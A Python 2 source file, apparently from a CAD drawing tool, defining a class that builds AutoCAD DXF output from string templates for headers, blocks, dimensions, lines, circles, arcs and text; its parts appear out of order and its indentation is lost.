self.write_list.append(self.BLOCK_RECORDS)#4
self.BLOCKS = """ENDTAB
0
ENDSEC
0
SECTION
2
BLOCKS
0
BLOCK
5
20
330
1F
100
AcDbEntity
8
0
100
AcDbBlockBegin
2
*Model_Space
70
0
10
0.0
20
0.0
30
0.0
3
*Model_Space
1
*Model_Space
0
ENDBLK
5
21
330
1F
100
AcDbEntity
8
0
100
AcDbBlockEnd
0
BLOCK
5
1C
330
1B
100
AcDbEntity
67
1
8
0
100
AcDbBlockBegin
2
*Paper_Space
70
0
10
0.0
20
0.0
30
0.0
3
*Paper_Space
1
*Paper_Space
0
ENDBLK
5
1D
330
1B
100
AcDbEntity
67
1
8
0
100
AcDbBlockEnd
0
BLOCK
5
24
330
23
100
AcDbEntity
8
0
100
AcDbBlockBegin
2
*Paper_Space0
70
0
10
0.0
20
0.0
30
0.0
3
*Paper_Space0
1
*Paper_Space0
0
ENDBLK
5
25
330
23
100
AcDbEntity
8
0
100
AcDbBlockEnd
0"""
self.write_list.append(self.BLOCKS)#5
self.Block_end_ENTITIES = """ENDSEC
0
SECTION
2
ENTITIES
0"""
self.write_list.append(self.Block_end_ENTITIES)#6
self.dim_list = {}
dim_ind = 0
def widther(i):
w = str(self.config_dict[i]['width'])
if w in ('1', '1.0'):
self.config_dict[i]['width'] = '20'
elif w in ('2', '2.0'):
self.config_dict[i]['width'] = '30'
elif w in ('3', '3.0'):
self.config_dict[i]['width'] = '80'
elif w in ('4', '4.0'):
self.config_dict[i]['width'] = '158'
else:
self.config_dict[i]['width'] = '20'
def formater(i, z=1):
e = str(format(z*float(i), '.5f'))
while 1:
if e[-1] == 0 and e[-2] != '.':
e = e[0:-1]
else:
break
return e
for i in self.config_dict:
if i[0] == 'd':
hand()
dim_ind += 1
self.config_dict[i]['handle'] = self.handle
self.config_dict[i]['dim_ind'] = 'D' + str(dim_ind)
y1 = self.config_dict[i]['y1']
self.config_dict[i]['y1'] = formater(y1, -1)
y2 = self.config_dict[i]['y2']
self.config_dict[i]['y2'] = formater(y2, -1)
y3 = self.config_dict[i]['y3']
self.config_dict[i]['y3'] = formater(y3, -1)
x1 = self.config_dict[i]['x1']
self.config_dict[i]['x1'] = formater(x1)
x2 = self.config_dict[i]['x2']
self.config_dict[i]['x2'] = formater(x2)
x3 = self.config_dict[i]['x3']
self.config_dict[i]['x3'] = formater(x3)
vr_s = self.config_dict[i]['vr_s']
self.config_dict[i]['vr_s'] = formater(vr_s)
vv_s = self.config_dict[i]['vv_s']
self.config_dict[i]['vv_s'] = formater(vv_s)
size = self.config_dict[i]['size']
self.config_dict[i]['size'] = str(-float(size))
w_text = self.config_dict[i]['w_text_dim']
self.config_dict[i]['w_text_dim'] = str(float(w_text)/3.0)
self.dim_list[self.config_dict[i]['dim_ind']] = copy(self.config_dict)
e = """DIMENSION
5
%(handle)s
330
1F
100
AcDbEntity
8
0
62
%(fill)s
100
AcDbDimension
2
*%(dim_ind)s
10
%(arrow_point2_x)s
20
%(arrow_point2_y)s
30
0.0
11
%(text_x)s
21
%(text_y)s
31
0.0
70
160
71
5
42
%(dim_distanse)s
3
ISO-25
100
AcDbAlignedDimension
13
%(x1)s
23
%(y1)s
33
0.0
14
%(x2)s
24
%(y2)s
34
0.0"""
e = (e % self.config_dict[i])
self.write_list[5] += ('\n' + e)
if float(self.config_dict[i]['angle']) != 0.0:
e = """ 50
%(angle)s"""
e = (e % self.config_dict[i])
self.write_list[5] += ('\n' + e)
e = """100
AcDbRotatedDimension"""
e = (e % self.config_dict[i])
self.write_list[5] += ('\n' + e)
e = """330
%(handle)s"""
e = (e % self.config_dict[i])
self.write_list[2] = self.write_list[2].replace('MY_REACTORS', (e + '\n' + 'MY_REACTORS'))
hand()
self.config_dict[i]['handle'] = self.handle
e = """BLOCK_RECORD
5
%(handle)s
330
1
100
AcDbSymbolTableRecord
100
AcDbBlockTableRecord
2
*%(dim_ind)s
340
0
0"""
e = (e % self.config_dict[i])
self.write_list[3] += ('\n' + e)
hand()
self.config_dict[i]['handle2'] = copy(self.handle)
hand()
self.config_dict[i]['handle_BLOCK_end'] = copy(self.handle)
e = """BLOCK
5
%(handle2)s
330
%(handle)s
100
AcDbEntity
8
0
100
AcDbBlockBegin
2
*%(dim_ind)s
70
1
10
0.0
20
0.0
30
0.0
3
*%(dim_ind)s
1
*%(dim_ind)s
0"""
e = (e % self.config_dict[i])
self.write_list[4] += ('\n' + e)
hand()
self.config_dict[i]['handle2'] = self.handle
e = """LINE
5
%(handle2)s
330
%(handle)s
100
AcDbEntity
8
0
62
0
370
-2
100
AcDbLine
10
%(line_1_x1)s
20
%(line_1_y1)s
30
0.0
11
%(line_1_x2)s
21
%(line_1_y2)s
31
0.0
0"""
e = (e % self.config_dict[i])
self.write_list[4] += ('\n' + e)
hand()
self.config_dict[i]['handle2'] = self.handle
e = """LINE
5
%(handle2)s
330
%(handle)s
100
AcDbEntity
8
0
62
0
370
-2
100
AcDbLine
10
%(line_2_x1)s
20
%(line_2_y1)s
30
0.0
11
%(line_2_x2)s
21
%(line_2_y2)s
31
0.0
0"""
e = (e % self.config_dict[i])
self.write_list[4] += ('\n' + e)
hand()
self.config_dict[i]['handle2'] = self.handle
e = """LINE
5
%(handle2)s
330
%(handle)s
100
AcDbEntity
8
0
62
0
370
-2
100
AcDbLine
10
%(line_3_x1)s
20
%(line_3_y1)s
30
0.0
11
%(line_3_x2)s
21
%(line_3_y2)s
31
0.0
0"""
e = (e % self.config_dict[i])
self.write_list[4] += ('\n' + e)
hand()
self.config_dict[i]['handle2'] = self.handle
if self.config_dict[i]['type_arrow'] == 'Arch':
e = """INSERT
5
%(handle2)s
330
%(handle)s
100
AcDbEntity
8
0
62
0
370
-2
100
AcDbBlockReference
2
_OBLIQUE
10
%(arrow_point1_x)s
20
%(arrow_point1_y)s
30
0.0
41
%(arrow_s)s
42
%(arrow_s)s
43
%(arrow_s)s"""
e = (e % self.config_dict[i])
self.write_list[4] += ('\n' + e)
if float(self.config_dict[i]['angle_arrow1']) != 0.0:
e = """ 50
%(angle_arrow1)s"""
e = (e % self.config_dict[i])
self.write_list[4] += ('\n' + e)
e = """ 0"""
self.write_list[4] += ('\n' + e)
if self._OBLIQUE == True:
e = """331
%(handle2)s"""
e = (e % self.config_dict[i])
self.block_oblique_record = self.block_oblique_record.replace('MY_BLKREFS', (e + '\n' + 'MY_BLKREFS'))
#self.write_list[3] = self.write_list[3].replace('MY_BLKREFS', (e + '\n' + 'MY_BLKREFS'))
else:
self.config_dict[i]['MY_1_BLKREFS'] = self.handle
hand()
self.config_dict[i]['handle2'] = self.handle
e = """INSERT
5
%(handle2)s
330
%(handle)s
100
AcDbEntity
8
0
62
0
370
-2
100
AcDbBlockReference
2
_OBLIQUE
10
%(arrow_point2_x)s
20
%(arrow_point2_y)s
30
0.0
41
%(arrow_s)s
42
%(arrow_s)s
43
%(arrow_s)s"""
e = (e % self.config_dict[i])
self.write_list[4] += ('\n' + e)
if float(self.config_dict[i]['angle_arrow2']) != 0.0:
#print self.config_dict[i]['angle_arrow2']
e = """ 50
%(angle_arrow2)s"""
e = (e % self.config_dict[i])
self.write_list[4] += ('\n' + e)
e = """ 0"""
self.write_list[4] += ('\n' + e)
if self._OBLIQUE == True:
e = """331
%(handle2)s"""
e = (e % self.config_dict[i])
self.block_oblique_record = self.block_oblique_record.replace('MY_BLKREFS', (e + '\n' + 'MY_BLKREFS'))
#self.write_list[3] = self.write_list[3].replace('MY_BLKREFS', (e + '\n' + 'MY_BLKREFS'))
else:
self.config_dict[i]['MY_2_BLKREFS'] = copy(self.handle)
hand()
self.config_dict[i]['handle2'] = self.handle
else:
e = """SOLID
5
%(handle2)s
330
%(handle)s
100
AcDbEntity
8
0
62
0
100
AcDbTrace
10
%(arrow_1_x2)s
20
%(arrow_1_y2)s
30
0.0
11
%(arrow_5_x)s
21
%(arrow_5_y)s
31
0.0
12
%(arrow_2_x2)s
22
%(arrow_2_y2)s
32
0.0
13
%(arrow_1_x1)s
23
%(arrow_1_y1)s
33
0.0
0"""
e = (e % self.config_dict[i])
self.write_list[4] += ('\n' + e)
hand()
self.config_dict[i]['handle2'] = self.handle
e = """SOLID
5
%(handle2)s
330
%(handle)s
100
AcDbEntity
8
0
62
0
100
AcDbTrace
10
%(arrow_3_x2)s
20
%(arrow_3_y2)s
30
0.0
11
%(arrow_6_x)s
21
%(arrow_6_y)s
31
0.0
12
%(arrow_4_x2)s
22
%(arrow_4_y2)s
32
0.0
13
%(arrow_3_x1)s
23
%(arrow_3_y1)s
33
0.0
0"""
e = (e % self.config_dict[i])
self.write_list[4] += ('\n' + e)
hand()
self.config_dict[i]['handle2'] = self.handle
e = """MTEXT
5
%(handle2)s
330
%(handle)s
100
AcDbEntity
8
0
62
0
100
AcDbMText
10
%(text_xx)s
20
%(text_yy)s
30
0.0
40
%(size)s
41
0.0
71
5
72
1
1
%(dim_distanse)s"""
e = (e % self.config_dict[i])
self.write_list[4] += ('\n' + e)
if self.config_dict[i]['ort'] == 'horizontal':
e = """ 11
0.0
21
1.0
31
0.0"""
self.write_list[4] += ('\n' + e)
e = """ 73
1
44
1.0
0"""
self.write_list[4] += ('\n' + e)
hand()
self.config_dict[i]['handle2'] = self.handle
e = """POINT
5
%(handle2)s
330
%(handle)s
100
AcDbEntity
8
Defpoints
62
0
100
AcDbPoint
10
%(line_1_x1)s
20
%(line_1_y1)s
30
0.0
0"""
e = (e % self.config_dict[i])
self.write_list[4] += ('\n' + e)
hand()
self.config_dict[i]['handle2'] = self.handle
e = """POINT
5
%(handle2)s
330
%(handle)s
100
AcDbEntity
8
Defpoints
62
0
100
AcDbPoint
10
%(line_2_x1)s
20
%(line_2_y1)s
30
0.0
0"""
e = (e % self.config_dict[i])
self.write_list[4] += ('\n' + e)
hand()
self.config_dict[i]['handle2'] = self.handle
e = """POINT
5
%(handle2)s
330
%(handle)s
100
AcDbEntity
8
Defpoints
62
0
100
AcDbPoint
10
%(arrow_point2_x)s
20
%(arrow_point2_y)s
30
0.0
0"""
e = (e % self.config_dict[i])
self.write_list[4] += ('\n' + e)
#hand()
#self.config_dict[i]['handle2'] = self.handle
e = """ENDBLK
5
%(handle_BLOCK_end)s
330
%(handle)s
100
AcDbEntity
8
0
100
AcDbBlockEnd
0"""
e = (e % self.config_dict[i])
self.write_list[4] += ('\n' + e)
hand()
if self.config_dict[i]['type_arrow'] == 'Arch':
if self._OBLIQUE == False:
hand()
self.config_dict[i]['handle2'] = copy(self.handle)
self._OBLIQUE_BLOCK_RECORDS = {'oblique_records_handle':copy(self.handle)}
e = """BLOCK_RECORD
5
%(handle2)s
330
1
100
AcDbSymbolTableRecord
100
AcDbBlockTableRecord
2
_OBLIQUE
340
0
102
{BLKREFS
331
%(MY_1_BLKREFS)s
331
%(MY_2_BLKREFS)s
MY_BLKREFS
102
}
0"""
self.block_oblique_record = (e % self.config_dict[i])
#self.write_list[3] += ('\n' + e)
hand()
self._OBLIQUE_BLOCK_RECORDS['handle2'] = self.handle
self._OBLIQUE = True
e = """BLOCK
5
%(handle2)s
330
%(oblique_records_handle)s
100
AcDbEntity
8
0
100
AcDbBlockBegin
2
_OBLIQUE
70
0
10
0.0
20
0.0
30
0.0
3
_OBLIQUE
1
_OBLIQUE
0"""
self.block_oblique = (e % self._OBLIQUE_BLOCK_RECORDS)
#self.write_list[4] += ('\n' + e)
hand()
self._OBLIQUE_BLOCK_RECORDS['handle_OBLIQUE_BLOCK'] = copy(self.handle)
hand()
self._OBLIQUE_BLOCK_RECORDS['handle2'] = self.handle
e = """LINE
5
%(handle2)s
330
%(oblique_records_handle)s
100
AcDbEntity
8
0
6
ByBlock
62
0
370
-2
100
AcDbLine
10
-0.5
20
-0.5
30
0.0
11
0.5
21
0.5
31
0.0
0"""
e = (e % self._OBLIQUE_BLOCK_RECORDS)
self.block_oblique += ('\n' + e)
#hand()
#self._OBLIQUE_BLOCK_RECORDS['handle2'] = self.handle
e = """ENDBLK
5
%(handle_OBLIQUE_BLOCK)s
330
%(oblique_records_handle)s
100
AcDbEntity
8
0
100
AcDbBlockEnd
0"""
e = (e % self._OBLIQUE_BLOCK_RECORDS)
self.block_oblique += ('\n' + e)
#hand()
self.config_dict[i]['oblique_records_handle'] = copy(self._OBLIQUE_BLOCK_RECORDS['oblique_records_handle'])
e = """1001
ACAD
1000
DSTYLE
1002
{
1070
173
1070
1
1070
342
1005
0
1070
344
1005
%(oblique_records_handle)s
1070
343
1005
%(oblique_records_handle)s
1070
46
1040
0.0
1070
278
1070
46
1070
44
1040
%(vv_s)s
1070
42
1040
0.0
1070
147
1040
%(s)s
1002
}"""
e = (e % self.config_dict[i])
self.write_list[5] += ('\n' + e)
else:
e = """1001
ACAD
1000
DSTYLE
1002
{
1070
44
1040
%(vv_s)s
1070
42
1040
0.0
1070
41
1040
%(size_arrow)s
1070
147
1040
%(s)s
1002
}"""
e = """ 0"""
self.write_list[5] += ('\n' + e)
if i[0] == 'L':
hand()
self.config_dict[i]['handle'] = self.handle
widther(i)
y1 = self.config_dict[i]['y1']
self.config_dict[i]['y1'] = formater(y1, -1)
y2 = self.config_dict[i]['y2']
self.config_dict[i]['y2'] = formater(y2, -1)
x1 = self.config_dict[i]['x1']
self.config_dict[i]['x1'] = formater(x1)
x2 = self.config_dict[i]['x2']
self.config_dict[i]['x2'] = formater(x2)
self.stipples = {'_____________':None,
'_ _ _ _ _ _ _':(1,1),
'____ _ ____ _':(4,1,1,1),
'____ _ _ ____':(4,1,1,1,1,1)}
if self.config_dict[i]['stipple']:
for j in self.stipples:
if self.stipples[j]:
t = map(lambda x: x*float(self.AL[i]['factor_stip']), self.stipples[j])
if t == self.AL[i]['stipple']:
stip = j
break
if stip == '____ _ ____ _':
self.config_dict[i]['dash'] = 'CENTER'
elif stip == '_ _ _ _ _ _ _':
self.config_dict[i]['dash'] = 'DASHED'
elif stip == '____ _ _ ____':
self.config_dict[i]['dash'] = 'PHANTOM'
else:
self.config_dict[i]['dash'] = 'Continuous'
e = """LINE
5
%(handle)s
330
1F
100
AcDbEntity
8
0
6
%(dash)s
62
%(fill)s
48
30.0
370
%(width)s
100
AcDbLine
10
%(x1)s
20
%(y1)s
30
0.0
11
%(x2)s
21
%(y2)s
31
0.0
0"""
e = (e % self.config_dict[i])
self.write_list[5] += ('\n' + e)
if i[0] == 'c':
hand()
self.config_dict[i]['handle'] = self.handle
widther(i)
y0 = self.config_dict[i]['y0']
self.config_dict[i]['y0'] = formater(y0, -1)
x0 = self.config_dict[i]['x0']
self.config_dict[i]['x0'] = formater(x0)
e = """CIRCLE
5
%(handle)s
330
1F
100
AcDbEntity
8
0
62
%(fill)s
370
%(width)s
100
AcDbCircle
10
%(x0)s
20
%(y0)s
30
0.0
40
%(R)s
0"""
e = (e % self.config_dict[i])
self.write_list[5] += ('\n' + e)
if i[0] == 'a':
hand()
self.config_dict[i]['handle'] = self.handle
widther(i)
y0 = self.config_dict[i]['y0']
self.config_dict[i]['y0'] = formater(y0, -1)
x0 = self.config_dict[i]['x0']
self.config_dict[i]['x0'] = formater(x0)
start = self.config_dict[i]['start']
extent = self.config_dict[i]['extent'] + start
if extent < start:
start = extent
extent = self.config_dict[i]['start']
self.config_dict[i]['start'] = start
self.config_dict[i]['extent'] = extent
e = """ARC
5
%(handle)s
330
1F
100
AcDbEntity
8
0
6
ByLayer
62
%(fill)s
370
%(width)s
100
AcDbCircle
10
%(x0)s
20
%(y0)s
40
%(R)s
100
AcDbArc
50
%(start)s
51
%(extent)s
0"""
e = (e % self.config_dict[i])
self.write_list[5] += ('\n' + e)
if i[0] == 't':
hand()
self.config_dict[i]['handle'] = self.handle
y = self.config_dict[i]['y']
self.config_dict[i]['y'] = formater(y, -1)
x = self.config_dict[i]['x']
self.config_dict[i]['x'] = formater(x)
size = self.config_dict[i]['size']
self.config_dict[i]['size'] = str(-float(size))
angle = self.config_dict[i]['angle']
self.config_dict[i]['angle'] = str(float(angle)*180.0/pi)
w_text = self.config_dict[i]['w_text']
self.config_dict[i]['w_text'] = str(float(w_text)/3.0)
text = self.config_dict[i]['text']
self.config_dict[i]['text'] = text.encode("cp1251")
e = """TEXT
5
%(handle)s
330
1F
100
AcDbEntity
8
0
62
%(fill)s
100
AcDbText
10
%(x)s
20
%(y)s
30
0.0
40
%(size)s"""
e = (e % self.config_dict[i])
self.write_list[5] += ('\n' + e)
if self.config_dict[i]['angle'] not in ('0.0', '0'):
e = """50
%(angle)s"""
e = (e % self.config_dict[i])
self.write_list[5] += ('\n' + e)
e = """1
%(text)s
41
%(w_text)s
100
AcDbText
0"""
e = (e % self.config_dict[i])
self.write_list[5] += ('\n' + e)
hand()
self.h = {'last_handle':self.handle}
self.OBJECTS = """ENDSEC
0
SECTION
2
OBJECTS
0
DICTIONARY
5
C
330
0
100
AcDbDictionary
281
1
3
ACAD_DETAILVIEWSTYLE
350
B5
3
ACAD_GROUP
350
D
3
ACAD_IMAGE_VARS
350
6A
3
ACAD_LAYOUT
350
1A
3
ACAD_MLINESTYLE
350
17
3
ACAD_PLOTSETTINGS
350
19
3
ACAD_PLOTSTYLENAME
350
E
3
ACAD_SCALELIST
350
40
3
ACAD_SECTIONVIEWSTYLE
350
B6
3
AcDbVariableDictionary
350
3D
3
APPDATA
350
71
3
DWGPROPS
350
%(last_handle)s"""
self.OBJECTS = (self.OBJECTS % self.h)
self.write_list.append(self.OBJECTS)
e = """ 0
DICTIONARY
5
B5
102
{ACAD_REACTORS
330
C
102
}
330
C
100
AcDbDictionary
281
1
0
DICTIONARY
5
D
102
{ACAD_REACTORS
330
C
102
}
330
C
100
AcDbDictionary
281
1
0
RASTERVARIABLES
5
6A
102
{ACAD_REACTORS
330
C
102
}
330
C
100
AcDbRasterVariables
90
0
70
1
71
1
72
1
0
DICTIONARY
5
1A
102
{ACAD_REACTORS
330
C
102
}
330
C
100
AcDbDictionary
281
1
3
Model
350
22
3
Sheet1
350
1E
3
Sheet2
350
26
0
DICTIONARY
5
17
102
{ACAD_REACTORS
330
C
102
}
330
C
100
AcDbDictionary
281
1
3
Standard
350
18
0
DICTIONARY
5
19
102
{ACAD_REACTORS
330
C
102
}
330
C
100
AcDbDictionary
281
1
0
ACDBDICTIONARYWDFLT
5
E
102
{ACAD_REACTORS
330
C
102
}
330
C
100
AcDbDictionary
281
1
3
Normal
350
F
100
AcDbDictionaryWithDefault
340
F
0
DICTIONARY
5
40
102
{ACAD_REACTORS
330
C
102
}
330
C
100
AcDbDictionary
281
1
3
A0
350
41
3
A1
350
42
3
A2
350
43
3
A3
350
44
3
A4
350
45
3
A5
350
46
3
A6
350
47
3
A7
350
48
3
A8
350
49
3
A9
350
4A
3
B0
350
4B
3
B1
350
4C
3
B2
350
4D
3
B3
350
4E
3
B4
350
4F
3
B5
350
50
3
B6
350
51
3
B7
350
52
3
B8
350
53
3
B9
350
54
3
C0
350
55
3
C1
350
56
3
C2
350
57
3
C3
350
58
3
C4
350
59
3
C5
350
5A
3
C6
350
5B
3
C7
350
5C
3
C8
350
5D
3
C9
350
5E
3
D0
350
5F
3
D1
350
60
3
D2
350
61
0
DICTIONARY
5
B6
102
{ACAD_REACTORS
330
C
102
}
330
C
100
AcDbDictionary
281
1
0
DICTIONARY
5
3D
102
{ACAD_REACTORS
330
C
102
}
330
C
100
AcDbDictionary
281
1
3
HPTRANSPARENCY
350
BD
0
DICTIONARY
5
71
102
{ACAD_REACTORS
330
C
102
}
330
C
100
AcDbDictionary
281
1
0"""
self.write_list[6] += ('\n' + e)
e = """XRECORD
5
%(last_handle)s
102
{ACAD_REACTORS
330
C
102
}
330
C
100
AcDbXrecord
280
1
1
DWGPROPS COOKIE
2
3
4
6
7
8
9
300
=
301
=
302
=
303
=
304
=
305
=
306
=
307
=
308
=
309
=
40
0.0
41
2455022.637359514
42
2456836.719236111
1
90
0
0
LAYOUT
5
22
102
{ACAD_REACTORS
330
1A
102
}
330
1A
100
AcDbPlotSettings
1
2
none_device
4
ISO_A3_(420.00_x_297.00_MM)
6
40
7.5
41
20.0
42
7.5
43
20.0
44
420.0
45
297.0
46
20.78282828282826
47
0.0
48
0.0
49
0.0
140
0.0
141
0.0
142
1.0
143
1.155642023346303
70
1204
72
1
73
0
74
1
7
monochrome.ctb
75
0
147
0.8653198653198654
148
-134.1869158878504
149
0.0
100
AcDbLayout
1
Model
70
1
71
0
10
0.0
20
0.0
11
420.0
21
297.0
12
0.0
22
0.0
32
0.0
14
-4378.05165097843
24
-13966.58744661573
34
0.0
15
12217.17664974781
25
-360.9396126841557
35
0.0
146
0.0
13
0.0
23
0.0
33
0.0
16
1.0
26
0.0
36
0.0
17
0.0
27
1.0
37
0.0
76
0
330
1F
331
29
0
LAYOUT
5
1E
102
{ACAD_REACTORS
330
1A
102
}
330
1A
100
AcDbPlotSettings
1
2
none_device
4
6
40
0.0
41
0.0
42
0.0
43
0.0
44
0.0
45
0.0
46
0.0
47
0.0
48
0.0
49
0.0
140
0.0
141
0.0
142
1.0
143
1.0
70
688
72
0
73
0
74
5
7
75
16
147
1.0
148
0.0
149
0.0
100
AcDbLayout
1
Sheet1
70
1
71
1
10
0.0
20
0.0
11
420.0
21
297.0
12
0.0
22
0.0
32
0.0
14
1.000000000000000E+20
24
1.000000000000000E+20
34
1.000000000000000E+20
15
-1.000000000000000E+20
25
-1.000000000000000E+20
35
-1.000000000000000E+20
146
0.0
13
0.0
23
0.0
33
0.0
16
1.0
26
0.0
36
0.0
17
0.0
27
1.0
37
0.0
76
0
330
1B
0
LAYOUT
5
26
102
{ACAD_REACTORS
330
1A
102
}
330
1A
100
AcDbPlotSettings
1
2
none_device
4
6
40
0.0
41
0.0
42
0.0
43
0.0
44
0.0
45
0.0
46
0.0
47
0.0
48
0.0
49
0.0
140
0.0
141
0.0
142
1.0
143
1.0
70
688
72
0
73
0
74
5
7
75
16
147
1.0
148
0.0
149
0.0
100
AcDbLayout
1
Sheet2
70
1
71
2
10
0.0
20
0.0
11
0.0
21
0.0
12
0.0
22
0.0
32
0.0
14
0.0
24
0.0
34
0.0
15
0.0
25
0.0
35
0.0
146
0.0
13
0.0
23
0.0
33
0.0
16
1.0
26
0.0
36
0.0
17
0.0
27
1.0
37
0.0
76
0
330
23
0
MLINESTYLE
5
18
102
{ACAD_REACTORS
330
17
102
}
330
17
100
AcDbMlineStyle
2
Standard
70
0
3
62
256
51
90.0
52
90.0
71
2
49
0.5
62
256
6
BYLAYER
49
-0.5
62
256
6
BYLAYER
0
ACDBPLACEHOLDER
5
F
102
{ACAD_REACTORS
330
E
102
}
330
E
0
SCALE
5
41
102
{ACAD_REACTORS
330
40
102
}
330
40
100
AcDbScale
70
0
300
1:1
140
1.0
141
1.0
290
1
0
SCALE
5
42
102
{ACAD_REACTORS
330
40
102
}
330
40
100
AcDbScale
70
0
300
1:2
140
1.0
141
2.0
290
0
0
SCALE
5
43
102
{ACAD_REACTORS
330
40
102
}
330
40
100
AcDbScale
70
0
300
1:4
140
1.0
141
4.0
290
0
0
SCALE
5
44
102
{ACAD_REACTORS
330
40
102
}
330
40
100
AcDbScale
70
0
300
1:5
140
1.0
141
5.0
290
0
0
SCALE
5
45
102
{ACAD_REACTORS
330
40
102
}
330
40
100
AcDbScale
70
0
300
1:8
140
1.0
141
8.0
290
0
0
SCALE
5
46
102
{ACAD_REACTORS
330
40
102
}
330
40
100
AcDbScale
70
0
300
1:10
140
1.0
141
10.0
290
0
0
SCALE
5
47
102
{ACAD_REACTORS
330
40
102
}
330
40
100
AcDbScale
70
0
300
1:16
140
1.0
141
16.0
290
0
0
SCALE
5
48
102
{ACAD_REACTORS
330
40
102
}
330
40
100
AcDbScale
70
0
300
1:20
140
1.0
141
20.0
290
0
0
SCALE
5
49
102
{ACAD_REACTORS
330
40
102
}
330
40
100
AcDbScale
70
0
300
1:30
140
1.0
141
30.0
290
0
0
SCALE
5
4A
102
{ACAD_REACTORS
330
40
102
}
330
40
100
AcDbScale
70
0
300
1:40
140
1.0
141
40.0
290
0
0
SCALE
5
4B
102
{ACAD_REACTORS
330
40
102
}
330
40
100
AcDbScale
70
0
300
1:50
140
1.0
141
50.0
290
0
0
SCALE
5
4C
102
{ACAD_REACTORS
330
40
102
}
330
40
100
AcDbScale
70
0
300
1:100
140
1.0
141
100.0
290
0
0
SCALE
5
4D
102
{ACAD_REACTORS
330
40
102
}
330
40
100
AcDbScale
70
0
300
2:1
140
2.0
141
1.0
290
0
0
SCALE
5
4E
102
{ACAD_REACTORS
330
40
102
}
330
40
100
AcDbScale
70
0
300
4:1
140
4.0
141
1.0
290
0
0
SCALE
5
4F
102
{ACAD_REACTORS
330
40
102
}
330
40
100
AcDbScale
70
0
300
8:1
140
8.0
141
1.0
290
0
0
SCALE
5
50
102
{ACAD_REACTORS
330
40
102
}
330
40
100
AcDbScale
70
0
300
10:1
140
10.0
141
1.0
290
0
0
SCALE
5
51
102
{ACAD_REACTORS
330
40
102
}
330
40
100
AcDbScale
70
0
300
100:1
140
100.0
141
1.0
290
0
0
SCALE
5
52
102
{ACAD_REACTORS
330
40
102
}
330
40
100
AcDbScale
70
0
300
1/128" = 1'-0"
140
0.0078125
141
12.0
290
0
0
SCALE
5
53
102
{ACAD_REACTORS
330
40
102
}
330
40
100
AcDbScale
70
0
300
1/64" = 1'-0"
140
0.015625
141
12.0
290
0
0
SCALE
5
54
102
{ACAD_REACTORS
330
40
102
}
330
40
100
AcDbScale
70
0
300
1/32" = 1'-0"
140
0.03125
141
12.0
290
0
0
SCALE
5
55
102
{ACAD_REACTORS
330
40
102
}
330
40
100
AcDbScale
70
0
300
1/16" = 1'-0"
140
0.0625
141
12.0
290
0
0
SCALE
5
56
102
{ACAD_REACTORS
330
40
102
}
330
40
100
AcDbScale
70
0
300
3/32" = 1'-0"
140
0.09375
141
12.0
290
0
0
SCALE
5
57
102
{ACAD_REACTORS
330
40
102
}
330
40
100
AcDbScale
70
0
300
1/8" = 1'-0"
140
0.125
141
12.0
290
0
0
SCALE
5
58
102
{ACAD_REACTORS
330
40
102
}
330
40
100
AcDbScale
70
0
300
3/16" = 1'-0"
140
0.1875
141
12.0
290
0
0
SCALE
5
59
102
{ACAD_REACTORS
330
40
102
}
330
40
100
AcDbScale
70
0
300
1/4" = 1'-0"
140
0.25
141
12.0
290
0
0
SCALE
5
5A
102
{ACAD_REACTORS
330
40
102
}
330
40
100
AcDbScale
70
0
300
3/8" = 1'-0"
140
0.375
141
12.0
290
0
0
SCALE
5
5B
102
{ACAD_REACTORS
330
40
102
}
330
40
100
AcDbScale
70
0
300
1/2" = 1'-0"
140
0.5
141
12.0
290
0
0
SCALE
5
5C
102
{ACAD_REACTORS
330
40
102
}
330
40
100
AcDbScale
70
0
300
3/4" = 1'-0"
140
0.75
141
12.0
290
0
0
SCALE
5
5D
102
{ACAD_REACTORS
330
40
102
}
330
40
100
AcDbScale
70
0
300
1" = 1'-0"
140
1.0
141
12.0
290
0
0
SCALE
5
5E
102
{ACAD_REACTORS
330
40
102
}
330
40
100
AcDbScale
70
0
300
1-1/2" = 1'-0"
140
1.5
141
12.0
290
0
0
SCALE
5
5F
102
{ACAD_REACTORS
330
40
102
}
330
40
100
AcDbScale
70
0
300
3" = 1'-0"
140
3.0
141
12.0
290
0
0
SCALE
5
60
102
{ACAD_REACTORS
330
40
102
}
330
40
100
AcDbScale
70
0
300
6" = 1'-0"
140
6.0
141
12.0
290
0
0
SCALE
5
61
102
{ACAD_REACTORS
330
40
102
}
330
40
100
AcDbScale
70
0
300
1'-0" = 1'-0"
140
12.0
141
12.0
290
0
0
DICTIONARYVAR
5
BD
102
{ACAD_REACTORS
330
3D
102
}
330
3D
100
DictionaryVariables
280
0
1
ByLayer
0
ENDSEC
0
EOF"""
e = (e % self.h)
self.write_list[6] += ('\n' + e)
len_dxf = 0
for i in self.write_list:
for j in i:
if '\n' in j:
len_dxf += 1
len_dxf = 110000
if self._OBLIQUE == True:
self.write_list[3] += ('\n' + self.block_oblique_record)
self.write_list[4] += ('\n' + self.block_oblique)
self.write_list[0] = self.write_list[0].replace('MY_HANDSEED', format(len_dxf, '02x').upper())
self.write_list[2] = self.write_list[2].replace('\nMY_REACTORS', '')
self.write_list[3] = self.write_list[3].replace('\nMY_BLKREFS', '')
if not self.dim_list:
del self.write_list[2]
| # -*- coding: utf-8; -*-
from save_file import saver
from math import pi
from copy import copy
import codecs
class Dxfer(saver):
def __init__(self, parent):
saver.__init__(self, parent)
self.handle = 'BA'
self._OBLIQUE = False
def hand():
self.handle = format(int(self.handle,16) + 1, '02x').upper()
if self.handle in ('BD', '105'):
self.handle = format(int(self.handle,16) + 1, '02x').upper()
self.HENDLE_CLASS_LAYERS = """ 0
SECTION
2
HEADER
9
$ACADVER
1
AC1015
9
$ACADMAINTVER
70
6
9
$DWGCODEPAGE
3
ANSI_1251
9
$INSBASE
10
0.0
20
0.0
30
0.0
9
$EXTMIN
10
1.000000000000000E+20
20
1.000000000000000E+20
30
1.000000000000000E+20
9
$EXTMAX
10
-1.000000000000000E+20
20
-1.000000000000000E+20
30
-1.000000000000000E+20
9
$LIMMIN
10
0.0
20
0.0
9
$LIMMAX
10
420.0
20
297.0
9
$ORTHOMODE
70
0
9
$REGENMODE
70
1
9
$FILLMODE
70
1
9
$QTEXTMODE
70
0
9
$MIRRTEXT
70
0
9
$LTSCALE
40
1.0
9
$ATTMODE
70
1
9
$TEXTSIZE
40
350.0
9
$TRACEWID
40
1.0
9
$TEXTSTYLE
7
Standard
9
$CLAYER
8
0
9
$CELTYPE
6
ByLayer
9
$CECOLOR
62
256
9
$CELTSCALE
40
1.0
9
$DISPSILH
70
0
9
$DIMSCALE
40
1.0
9
$DIMASZ
40
200.0
9
$DIMEXO
40
